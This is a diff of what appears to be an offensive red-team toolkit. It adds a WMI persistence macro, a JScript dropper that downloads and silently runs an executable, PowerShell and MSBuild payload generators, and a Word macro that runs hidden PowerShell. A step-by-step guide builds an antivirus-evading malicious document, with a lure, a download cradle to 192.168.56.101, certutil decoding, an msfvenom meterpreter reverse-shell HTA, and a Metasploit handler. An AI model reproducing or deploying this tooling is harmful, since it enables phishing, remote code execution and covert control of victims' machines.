& "AND TargetInstance.SystemUpTime >= 200 AND " _
|
||||||
|
& "TargetInstance.SystemUpTime < 320"
|
||||||
|
|
||||||
|
' New object of type __EventFilter
|
||||||
|
Set newObj1 = objInstances1.Spawninstance_
|
||||||
|
newObj1.name = filterName
|
||||||
|
newObj1.eventNamespace = "root\cimv2"
|
||||||
|
newObj1.QueryLanguage = "WQL"
|
||||||
|
newObj1.query = query
|
||||||
|
newObj1.Put_
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 2: Set WMI instance of type: CommandLineEventConsumer
|
||||||
|
'
|
||||||
|
Set objInstances2 = objService1.Get("CommandLineEventConsumer")
|
||||||
|
Set newObj2 = objInstances2.Spawninstance_
|
||||||
|
newObj2.name = consumerName
|
||||||
|
newObj2.CommandLineTemplate = exePath
|
||||||
|
newObj2.Put_
|
||||||
|
|
||||||
|
'
|
||||||
|
' Step 3: Set WMI instance of type: Filter To Consumer Binding
|
||||||
|
'
|
||||||
|
Set objInstances3 = objService1.Get("__FilterToConsumerBinding")
|
||||||
|
Set newObj3 = objInstances3.Spawninstance_
|
||||||
|
newObj3.Filter = "__EventFilter.Name=""" & filterName & """"
|
||||||
|
newObj3.Consumer = "CommandLineEventConsumer.Name=""" & consumerName & """"
|
||||||
|
newObj3.Put_
|
||||||
|
|
||||||
|
WMIPersistence = True
|
||||||
|
Exit Function
|
||||||
|
Failed:
|
||||||
|
WMIPersistence = False
|
||||||
|
End Function
|
|
@ -0,0 +1,26 @@
|
||||||
|
<script>
|
||||||
|
var SRC = "";
|
||||||
|
var CMDLINE = "";
|
||||||
|
var out = Math.random().toString(36).substring(7) + ".exe";
|
||||||
|
var axo = this.ActiveXObject;
|
||||||
|
var wshell = new axo("WScript.Shell");
|
||||||
|
var path = wshell.ExpandEnvironmentStrings("%TEMP%") + "/" + out;
|
||||||
|
var xhr = new axo("MSXML2.XMLHTTP");
|
||||||
|
|
||||||
|
xhr.onreadystatechange = function () {
|
||||||
|
if (xhr.readystate === 4) {
|
||||||
|
var adodb = new axo("ADODB.Stream");
|
||||||
|
adodb.open();
|
||||||
|
adodb.type = 1;
|
||||||
|
adodb.write(xhr.ResponseBody);
|
||||||
|
adodb.position = 0;
|
||||||
|
adodb.saveToFile(path, 2);
|
||||||
|
adodb.close();
|
||||||
|
};
|
||||||
|
};
|
||||||
|
try {
|
||||||
|
xhr.open("GET", SRC, false);
|
||||||
|
xhr.send();
|
||||||
|
wshell.Run(path + " " + CMDLINE, 0, false);
|
||||||
|
} catch (err) { };
|
||||||
|
</script>
|
|
@ -0,0 +1,30 @@
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
import io
|
||||||
|
import sys
|
||||||
|
import gzip
|
||||||
|
import base64
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
if len(argv) < 2:
|
||||||
|
print('Usage: ./compressedPowershell.py <input>')
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
|
out = io.BytesIO()
|
||||||
|
encoded = ''
|
||||||
|
with open(argv[1], 'rb') as f:
|
||||||
|
inp = f.read()
|
||||||
|
|
||||||
|
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
|
||||||
|
fo.write(inp)
|
||||||
|
|
||||||
|
encoded = base64.b64encode(out.getvalue())
|
||||||
|
|
||||||
|
powershell = '''$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String("{}"));
|
||||||
|
|
||||||
|
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();'''.format(encoded.decode())
|
||||||
|
|
||||||
|
print(powershell)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,12 @@
|
||||||
|
Private Sub DeleteWarningPicture(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
|
||||||
|
Dim shape As Word.shape
|
||||||
|
For Each shape In ActiveDocument.Shapes
|
||||||
|
If StrComp(shape.Name, textBoxName) = 0 Then
|
||||||
|
shape.Delete
|
||||||
|
Exit For
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
If saveDocAfter Then
|
||||||
|
ActiveDocument.Save
|
||||||
|
End If
|
||||||
|
End Sub
|
|
@ -0,0 +1,234 @@
|
||||||
|
#!/usr/bin/python3
|
||||||
|
#
|
||||||
|
# Red-Teaming script that will leverage MSBuild technique to convert Powershell input payload or
|
||||||
|
# .NET/CLR assembly EXE file into inline-task XML file that can be further launched by:
|
||||||
|
# %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
|
||||||
|
#
|
||||||
|
# Requirements:
|
||||||
|
# - pefile
|
||||||
|
#
|
||||||
|
# Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||||
|
#
|
||||||
|
|
||||||
|
import re
|
||||||
|
import io
|
||||||
|
import sys
|
||||||
|
import gzip
|
||||||
|
import base64
|
||||||
|
import string
|
||||||
|
import struct
|
||||||
|
import random
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
try:
|
||||||
|
import pefile
|
||||||
|
except ImportError:
|
||||||
|
print('Missing requirement: "pefile". Install it using: pip install pefile')
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
|
|
||||||
|
def getCompressedPayload(filePath):
|
||||||
|
out = io.BytesIO()
|
||||||
|
encoded = ''
|
||||||
|
with open(filePath, 'rb') as f:
|
||||||
|
inp = f.read()
|
||||||
|
|
||||||
|
with gzip.GzipFile(fileobj = out, mode = 'w') as fo:
|
||||||
|
fo.write(inp)
|
||||||
|
|
||||||
|
encoded = base64.b64encode(out.getvalue())
|
||||||
|
|
||||||
|
powershell = "$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('{}')); IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();".format(
|
||||||
|
encoded.decode()
|
||||||
|
)
|
||||||
|
return powershell
|
||||||
|
|
||||||
|
def getInlineTask(payload, exeFile):
|
||||||
|
templateName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
||||||
|
taskName = ''.join(random.choice(string.ascii_letters) for x in range(random.randint(5, 15)))
|
||||||
|
|
||||||
|
powershellLaunchCode = string.Template('''<Task>
|
||||||
|
<Reference Include="System.Management.Automation" />
|
||||||
|
<Code Type="Class" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
using Microsoft.Build.Framework;
|
||||||
|
using Microsoft.Build.Utilities;
|
||||||
|
|
||||||
|
public class $templateName : Task {
|
||||||
|
public override bool Execute() {
|
||||||
|
|
||||||
|
byte[] payload = System.Convert.FromBase64String("$payload2");
|
||||||
|
string decoded = System.Text.Encoding.UTF8.GetString(payload);
|
||||||
|
|
||||||
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||||
|
runspace.Open();
|
||||||
|
|
||||||
|
Pipeline pipeline = runspace.CreatePipeline();
|
||||||
|
pipeline.Commands.AddScript(decoded);
|
||||||
|
pipeline.Invoke();
|
||||||
|
|
||||||
|
runspace.Close();
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]]>
|
||||||
|
</Code>''').safe_substitute(
|
||||||
|
templateName = templateName,
|
||||||
|
payload2 = base64.b64encode(payload)
|
||||||
|
)
|
||||||
|
|
||||||
|
exeLaunchCode = string.Template('''<ParameterGroup/>
|
||||||
|
<Task>
|
||||||
|
<Using Namespace="System" />
|
||||||
|
<Using Namespace="System.Reflection" />
|
||||||
|
|
||||||
|
<Code Type="Fragment" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
string payload = "$payload2";
|
||||||
|
byte[] decoded = System.Convert.FromBase64String(payload);
|
||||||
|
|
||||||
|
Assembly asm = Assembly.Load(decoded);
|
||||||
|
MethodInfo method = asm.EntryPoint;
|
||||||
|
object instance = asm.CreateInstance(method.Name);
|
||||||
|
method.Invoke(instance, null);
|
||||||
|
]]>
|
||||||
|
</Code>''').safe_substitute(
|
||||||
|
payload2 = base64.b64encode(payload)
|
||||||
|
)
|
||||||
|
|
||||||
|
launchCode = exeLaunchCode if exeFile else powershellLaunchCode
|
||||||
|
|
||||||
|
template = string.Template('''<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
|
||||||
|
<!-- Based on Casey Smith work, Twitter: @subTee -->
|
||||||
|
<!-- Automatically generated using `generateMSBuildPowershellXML.py` utility -->
|
||||||
|
<!-- by Mariusz B. / mgeeky <mb@binary-offensive.com> -->
|
||||||
|
|
||||||
|
<Target Name="$taskName">
|
||||||
|
<$templateName />
|
||||||
|
</Target>
|
||||||
|
<UsingTask TaskName="$templateName" TaskFactory="CodeTaskFactory"
|
||||||
|
AssemblyFile="C:\\Windows\\Microsoft.Net\\Framework\\v4.0.30319\\Microsoft.Build.Tasks.v4.0.dll" >
|
||||||
|
$launchCode
|
||||||
|
</Task>
|
||||||
|
</UsingTask>
|
||||||
|
</Project>''').safe_substitute(
|
||||||
|
taskName = taskName,
|
||||||
|
templateName = templateName,
|
||||||
|
launchCode = launchCode
|
||||||
|
)
|
||||||
|
|
||||||
|
return template
|
||||||
|
|
||||||
|
def detectFileIsExe(filePath, forced = False):
|
||||||
|
first1000 = []
|
||||||
|
|
||||||
|
with open(filePath, 'rb') as f:
|
||||||
|
first1000 = f.read()[:1000]
|
||||||
|
|
||||||
|
if not (first1000[0] == 'M' and first1000[1] == 'Z'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
elfanew = struct.unpack('<H', first1000[0x3c:0x3c + 2])[0]
|
||||||
|
|
||||||
|
if not (first1000[elfanew + 0] == 'P' and first1000[elfanew + 1] == 'E'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
dosStub = "This program cannot be run in DOS mode."
|
||||||
|
printables = ''.join([x for x in first1000[0x40:] if x in string.printable])
|
||||||
|
|
||||||
|
#if not dosStub in printables:
|
||||||
|
# return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
pe = pefile.PE(filePath)
|
||||||
|
cli = pe.OPTIONAL_HEADER.DATA_DIRECTORY[14]
|
||||||
|
|
||||||
|
if not (cli.VirtualAddress != 0 and cli.Size != 0):
|
||||||
|
sys.stderr.write('[!] Specified input file is not a .NET Assembly / CLR executable file!\n')
|
||||||
|
if forced:
|
||||||
|
sys.exit(-1)
|
||||||
|
raise Exception()
|
||||||
|
else:
|
||||||
|
sys.stderr.write('[+] Specified EXE file seems to be .NET Assembly / CLR compatible.\n')
|
||||||
|
|
||||||
|
return True
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def minimize(output):
|
||||||
|
output = re.sub(r'\s*\<\!\-\- .* \-\-\>\s*\n', '', output)
|
||||||
|
output = output.replace('\n', '')
|
||||||
|
output = re.sub(r'\s{2,}', ' ', output)
|
||||||
|
output = re.sub(r'\s+([^\w])\s+', r'\1', output)
|
||||||
|
output = re.sub(r'([^\w"])\s+', r'\1', output)
|
||||||
|
|
||||||
|
variables = {
|
||||||
|
'payload' : 'x',
|
||||||
|
'method' : 'm',
|
||||||
|
'asm' : 'a',
|
||||||
|
'instance' : 'o',
|
||||||
|
'pipeline' : 'p',
|
||||||
|
'runspace' : 'r',
|
||||||
|
'decoded' : 'd'
|
||||||
|
}
|
||||||
|
|
||||||
|
for k, v in variables.items():
|
||||||
|
output = output.replace(k, v)
|
||||||
|
|
||||||
|
return output
|
||||||
|
|
||||||
|
def opts(argv):
|
||||||
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <inputFile>')
|
||||||
|
parser.add_argument('inputFile', help = 'Input file to be encoded within XML. May be either Powershell script or PE/EXE file.')
|
||||||
|
parser.add_argument('-m', '--minimize', action='store_true', help = 'Minimize the output XML file.')
|
||||||
|
parser.add_argument('-b', '--encode', action='store_true', help = 'Base64 encode output XML file.')
|
||||||
|
parser.add_argument('-e', '--exe', action='store_true', help = 'Specified input file is an Mono/.Net assembly PE/EXE (optional, if not used - the script will try to sense that). WARNING: Launching EXE is possibly ONLY WITH MONO/.NET IL/Assembly EXE file, not an ordinary native PE/EXE!')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
return args
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
sys.stderr.write('''
|
||||||
|
:: Powershell via MSBuild inline-task XML payload generation script
|
||||||
|
To be used during Red-Team assignments to launch Powershell payloads without using 'powershell.exe'
|
||||||
|
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||||
|
|
||||||
|
''')
|
||||||
|
if len(argv) < 2:
|
||||||
|
print('Usage: ./generateMSBuildPowershellXML.py <inputFile>')
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
|
args = opts(argv)
|
||||||
|
|
||||||
|
isItExeFile = args.exe or detectFileIsExe(args.inputFile, args.exe)
|
||||||
|
|
||||||
|
if isItExeFile:
|
||||||
|
sys.stderr.write('[?] File recognized as PE/EXE.\n\n')
|
||||||
|
with open(args.inputFile, 'rb') as f:
|
||||||
|
payload = f.read()
|
||||||
|
else:
|
||||||
|
sys.stderr.write('[?] File not recognized as PE/EXE.\n\n')
|
||||||
|
|
||||||
|
if args.inputFile.endswith('.exe'):
|
||||||
|
return False
|
||||||
|
|
||||||
|
payload = getCompressedPayload(args.inputFile)
|
||||||
|
|
||||||
|
output = getInlineTask(payload, isItExeFile)
|
||||||
|
|
||||||
|
if args.minimize:
|
||||||
|
output = minimize(output)
|
||||||
|
|
||||||
|
if args.encode:
|
||||||
|
print(base64.b64encode(output))
|
||||||
|
else:
|
||||||
|
print(output)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,12 @@
|
||||||
|
Private Sub Workbook_Open()
|
||||||
|
Dim author As String
|
||||||
|
author = ActiveWorkbook.BuiltinDocumentProperties("Author")
|
||||||
|
|
||||||
|
Dim ws As Object
|
||||||
|
Set ws = CreateObject("WScript.Shell")
|
||||||
|
With ws.Exec("powershell.exe -nop -WindowStyle hidden -Command -")
|
||||||
|
.StdIn.WriteLine author
|
||||||
|
.StdIn.WriteBlankLines 1
|
||||||
|
.Terminate
|
||||||
|
End With
|
||||||
|
End Sub
|
|
@ -0,0 +1,89 @@
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<!-- Original Author: Pierre-Alexandre Braeken, Twitter: @pabraeken -->
|
||||||
|
<!-- Based on Casey Smith work (https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371), Twitter: @subTee -->
|
||||||
|
|
||||||
|
<!-- To be launched like so: cmd> %WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe task1.xml -->
|
||||||
|
<!-- Modified by Mariusz B. / mgeeky. -->
|
||||||
|
|
||||||
|
<Target Name="MyLittleInlineTaskName">
|
||||||
|
<MyLittleInlineTask />
|
||||||
|
</Target>
|
||||||
|
<UsingTask
|
||||||
|
TaskName="MyLittleInlineTask"
|
||||||
|
TaskFactory="CodeTaskFactory"
|
||||||
|
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
|
||||||
|
<Task>
|
||||||
|
<Reference Include="System.Management.Automation" />
|
||||||
|
<Code Type="Class" Language="cs">
|
||||||
|
<![CDATA[
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Reflection;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Collections.ObjectModel;
|
||||||
|
using System.Management.Automation;
|
||||||
|
using System.Management.Automation.Runspaces;
|
||||||
|
using System.Text;
|
||||||
|
using Microsoft.Build.Framework;
|
||||||
|
using Microsoft.Build.Utilities;
|
||||||
|
|
||||||
|
public class MyLittleInlineTask : Task, ITask {
|
||||||
|
public override bool Execute() {
|
||||||
|
|
||||||
|
// Is your payload a raw EXE file?
|
||||||
|
bool rawExeFile = false;
|
||||||
|
|
||||||
|
if(!rawExeFile) {
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Specifies whether Powershell payload is Base64 encoded.
|
||||||
|
*/
|
||||||
|
bool payloadBase64Encoded = false;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Here insert your plain multi-line Powershell snippet
|
||||||
|
*/
|
||||||
|
string payload = @"
|
||||||
|
|
||||||
|
$s = New-Object IO.MemoryStream(, [Convert]::FromBase64String('H4sIAMkfcloC/3u/e390cGVxSWquXlBqWk5qcklmfp6eY3Fxam5STmWslZVPfmJKeGZJRkBiUUlmYo5fYm6qhhJUR3hmXkp+ebGeW35RbrGSpkKNgn9pia5faU6ONS9XNDZFer6pxcWJ6alO+RVAs4Mz8ss11D1LFMrzi7KLFdU1rQFOfXYfjwAAAA=='));
|
||||||
|
IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s, [IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
|
||||||
|
|
||||||
|
";
|
||||||
|
|
||||||
|
Runspace runspace = RunspaceFactory.CreateRunspace();
|
||||||
|
runspace.Open();
|
||||||
|
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
|
||||||
|
Pipeline pipeline = runspace.CreatePipeline();
|
||||||
|
|
||||||
|
if (!payloadBase64Encoded) {
|
||||||
|
pipeline.Commands.AddScript(payload);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
string payload2 = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(payload));
|
||||||
|
pipeline.Commands.AddScript(payload2);
|
||||||
|
}
|
||||||
|
pipeline.Invoke();
|
||||||
|
runspace.Close();
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
/*
|
||||||
|
* Here must be placed Base64 encoded raw EXE / PE file.
|
||||||
|
*/
|
||||||
|
string payload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAA [...]";
|
||||||
|
|
||||||
|
byte[] decoded = System.Convert.FromBase64String(payload);
|
||||||
|
Assembly asm = Assembly.Load(decoded);
|
||||||
|
MethodInfo method = asm.EntryPoint;
|
||||||
|
object ob = asm.CreateInstance(method.Name);
|
||||||
|
method.Invoke(ob, null);
|
||||||
|
}
|
||||||
|
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
]]>
|
||||||
|
</Code>
|
||||||
|
</Task>
|
||||||
|
</UsingTask>
|
||||||
|
</Project>
|
|
@ -0,0 +1,218 @@
|
||||||
|
# Multi-Stage Penetration-Testing / Red Teaming Malicious Word document creation process
|
||||||
|
|
||||||
|
The below paper documents the process of creating a multi-stage IPS/AV transparent malicious document for purposes of Red Teaming / Penetration-Testing assignments.
|
||||||
|
|
||||||
|
The resulted document will be:
|
||||||
|
- using OLE event autorun method
|
||||||
|
- removing it's pretext shapes
|
||||||
|
- Obtaining commands to be executed from document's _Author_ property and passing them to `StdIn` of _Powershell.exe_ process
|
||||||
|
- Leveraging `certutil` technique to receive Base64 encoded malicious HTA document
|
||||||
|
- Having Base64 encoded Powershell command in that _Author_ property
|
||||||
|
- Having fully Obfuscated VBA macro
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
1. Create an empty Word document with extension `.doc`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
2. Create an OLE object named `Microsoft InkPicture Control` (_Developer tab -> Insert -> More controls -> ... _)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
3. Double click on that OLE object and add the following method:
|
||||||
|
|
||||||
|
```
|
||||||
|
Public Once As Integer
|
||||||
|
|
||||||
|
Public Sub Launch()
|
||||||
|
On Error Resume Next
|
||||||
|
'
|
||||||
|
' Here will be malicious code placed
|
||||||
|
'
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
|
||||||
|
If Once < 1 Then
|
||||||
|
Launch
|
||||||
|
End If
|
||||||
|
Once = Once + 1
|
||||||
|
End Sub
|
||||||
|
```
|
||||||
|
|
||||||
|
Since the `Painted` event will be triggered several times, we want to avoid situation of having several stagers popped on the target machine.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
4. Then, add pretext shape enticing victim to enable editing/macros - having that, insert a function that will delete this shape after victim really enable macros.
|
||||||
|
For example of such shape - you can refer to one of my [repos](https://github.com/mgeeky/RobustPentestMacro).
|
||||||
|
|
||||||
|
**NOTICE**: Make sure to put the OLE Control in the topmost left corner of the document and to color that control (right click -> Propertied -> Color) so it will overlap visually with Pretext-shape.
|
||||||
|
The trick is to make the victim move the mouse over that OLE control after enabling macros (making it trigger `Painted` event in the background).
|
||||||
|
|
||||||
|
The function that will delete this and OLE object shapes after enabling macros is placed below:
|
||||||
|
|
||||||
|
```
|
||||||
|
Public Sub Launch()
|
||||||
|
On Error Resume Next
|
||||||
|
DeleteWarningShape "warning-div", True
|
||||||
|
DeleteWarningShape "Control 2", True
|
||||||
|
...
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
|
||||||
|
Dim shape As Word.shape
|
||||||
|
On Error Resume Next
|
||||||
|
For Each shape In ActiveDocument.Shapes
|
||||||
|
If StrComp(shape.Name, textBoxName) = 0 Then
|
||||||
|
shape.Delete
|
||||||
|
Exit For
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
If saveDocAfter Then
|
||||||
|
ActiveDocument.Save
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
5. Now, add code obtaining malicious _Powershell_ commands from _Author_ document's property and passing it to the _Powershell's_ `StdIn` stream:
|
||||||
|
|
||||||
|
```
|
||||||
|
Public Sub Launch()
|
||||||
|
On Error Resume Next
|
||||||
|
DeleteWarningShape "warning-div", True
|
||||||
|
DeleteWarningShape "Control 2", True
|
||||||
|
Dim authorProperty As String
|
||||||
|
|
||||||
|
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
|
||||||
|
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
|
||||||
|
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
|
||||||
|
.StdIn.WriteLine authorProperty
|
||||||
|
.StdIn.WriteBlankLine 1
|
||||||
|
.Terminate
|
||||||
|
End With
|
||||||
|
```
|
||||||
|
|
||||||
|
Of course, having that - you will have to remember to add proper Powershell command to be executed right into _Author_ property of the Word file.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
6. Now, we have to insert some code into that _Author_ property. This code should do the following:
|
||||||
|
- Download Base64 encoded `encoded.crt` file containing malicious HTA code.
|
||||||
|
- Use `certutil -decode encoded.crt out.hta` command that will strip that Base64 layer.
|
||||||
|
- Make entire powershell code that shall be placed in _Author_ property Unicode-Base64 encoded in such a way, that Powershell's `-EncodedCommand` will be able to process.
|
||||||
|
|
||||||
|
The following code can be use as an example:
|
||||||
|
|
||||||
|
```
|
||||||
|
powershell -ep bypass -Command "(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta"
|
||||||
|
```
|
||||||
|
|
||||||
|
Here, the file will be obtained from `http://192.168.56.101/encoded.crt` - of course, one will want to move that file into HTTPS webserver having some luring domain name.
|
||||||
|
|
||||||
|
This command can be then converted into Powershell-supported Base64 payload like so:
|
||||||
|
|
||||||
|
```
|
||||||
|
C:\Users\IEUser\Desktop\files\dl>powershell -ep bypass -command "[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes(\"(new-object Net.WebClient).DownloadFile('http://192.168.56.101/encoded.crt','%TEMP%\encoded.crt');certutil -decode %TEMP%\encoded.crt %TEMP%\encoded.hta;start %TEMP%\encoded.hta\"))"
|
||||||
|
KABuAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADUANgAuADEAMAAxAC8AZQBuAGMAbwBkAGUAZAAuAGMAcgB0ACcALAAnAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAJwApADsAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAEMAOgBcAFUAcwBlAHIAcwBcAEkARQBVAHMAZQByAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABlAG4AYwBvAGQAZQBkAC4AYwByAHQAIABDADoAXABVAHMAZQByAHMAXABJAEUAVQBzAGUAcgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAZQBuAGMAbwBkAGUAZAAuAGgAdABhADsAcwB0AGEAcgB0ACAAQwA6AFwAVQBzAGUAcgBzAFwASQBFAFUAcwBlAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGUAbgBjAG8AZABlAGQALgBoAHQAYQA=
|
||||||
|
```
|
||||||
|
|
||||||
|
Now this code is to be placed into _Author_ property.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
7. Now, in order to generate that `encoded.crt` file - go for the following steps:
|
||||||
|
|
||||||
|
- Step 1: Using `msfvenom` generate malicious HTA file
|
||||||
|
- Step 2: Convert that payload into Base64-encoded certificate file.
|
||||||
|
|
||||||
|
In order to automate above steps - you can use the below script:
|
||||||
|
|
||||||
|
```
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
# --- PAYLOAD SETUP
|
||||||
|
|
||||||
|
LHOST=192.168.56.101
|
||||||
|
LPORT=4444
|
||||||
|
PAYLOAD=windows/meterpreter/reverse_tcp
|
||||||
|
|
||||||
|
# This file must have *.crt extension
|
||||||
|
OUTPUT_FILE=/var/www/html/encoded.crt
|
||||||
|
|
||||||
|
PAYLOAD_FILE=/tmp/test$RANDOM
|
||||||
|
|
||||||
|
# ----
|
||||||
|
|
||||||
|
msfvenom -f hta-psh -p $PAYLOAD LHOST=$LHOST LPORT=$LPORT -o $PAYLOAD_FILE
|
||||||
|
|
||||||
|
echo -----BEGIN CERTIFICATE----- > $OUTPUT_FILE
|
||||||
|
cat $PAYLOAD_FILE | base64 -w 0 >> $OUTPUT_FILE
|
||||||
|
echo -----END CERTIFICATE----- >> $OUTPUT_FILE
|
||||||
|
|
||||||
|
chown www-data:www-data $OUTPUT_FILE 2> /dev/null
|
||||||
|
echo "Generated file: $OUTPUT_FILE"
|
||||||
|
```
|
||||||
|
|
||||||
|
And Voila! You will have your `encoded.crt` file in webroot.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
8. After that you can add some persistence methods and further fail-proof the Macro code. For a nice example of persistence method - the `WMIPersistence` method can be used:
|
||||||
|
|
||||||
|
[WMIPersistence](https://gist.github.com/mgeeky/d00ba855d2af73fd8d7446df0f64c25a)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
9. After that, you will want to make the entire VBA macro code become obfuscated to further slow down analysis process.
|
||||||
|
|
||||||
|
The obfuscation can easily be pulled off using my [VisualBasicObfuscator](https://github.com/mgeeky/VisualBasicObfuscator)
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## ENTIRE MACRO CAN LOOK LIKE THIS:
|
||||||
|
|
||||||
|
(without persistence method)
|
||||||
|
|
||||||
|
```
|
||||||
|
Public Once As Integer
|
||||||
|
|
||||||
|
Public Sub Launch()
|
||||||
|
On Error Resume Next
|
||||||
|
DeleteWarningShape "warning-div", False
|
||||||
|
DeleteWarningShape "Control 2", False
|
||||||
|
|
||||||
|
Dim authorProperty As String
|
||||||
|
authorProperty = ActiveDocument.BuiltInDocumentProperties("Author")
|
||||||
|
Set objWShell = CreateObject("WScr" & "ipt.S" & "hell")
|
||||||
|
With objWShell.Exec("powe" & "rsh" & "ell.exe -no" & "p -w" & "indowstyle hid" & "den -Com" & "mand -")
|
||||||
|
.StdIn.WriteLine authorProperty
|
||||||
|
.StdIn.WriteBlankLine 1
|
||||||
|
.Terminate
|
||||||
|
End With
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub DeleteWarningShape(ByVal textBoxName As String, ByVal saveDocAfter As Boolean)
|
||||||
|
Dim shape As Word.shape
|
||||||
|
On Error Resume Next
|
||||||
|
For Each shape In ActiveDocument.Shapes
|
||||||
|
If StrComp(shape.Name, textBoxName) = 0 Then
|
||||||
|
shape.Delete
|
||||||
|
Exit For
|
||||||
|
End If
|
||||||
|
Next
|
||||||
|
If saveDocAfter Then
|
||||||
|
ActiveDocument.Save
|
||||||
|
End If
|
||||||
|
End Sub
|
||||||
|
|
||||||
|
Private Sub InkPicture1_Painted(ByVal hDC As Long, ByVal Rect As MSINKAUTLib.IInkRectangle)
|
||||||
|
If Once < 1 Then
|
||||||
|
Launch
|
||||||
|
End If
|
||||||
|
Once = Once + 1
|
||||||
|
End Sub
|
||||||
|
```
|
|
@ -0,0 +1,19 @@
|
||||||
|
use exploit/multi/handler
|
||||||
|
setg PAYLOAD windows/x64/meterpreter/reverse_https
|
||||||
|
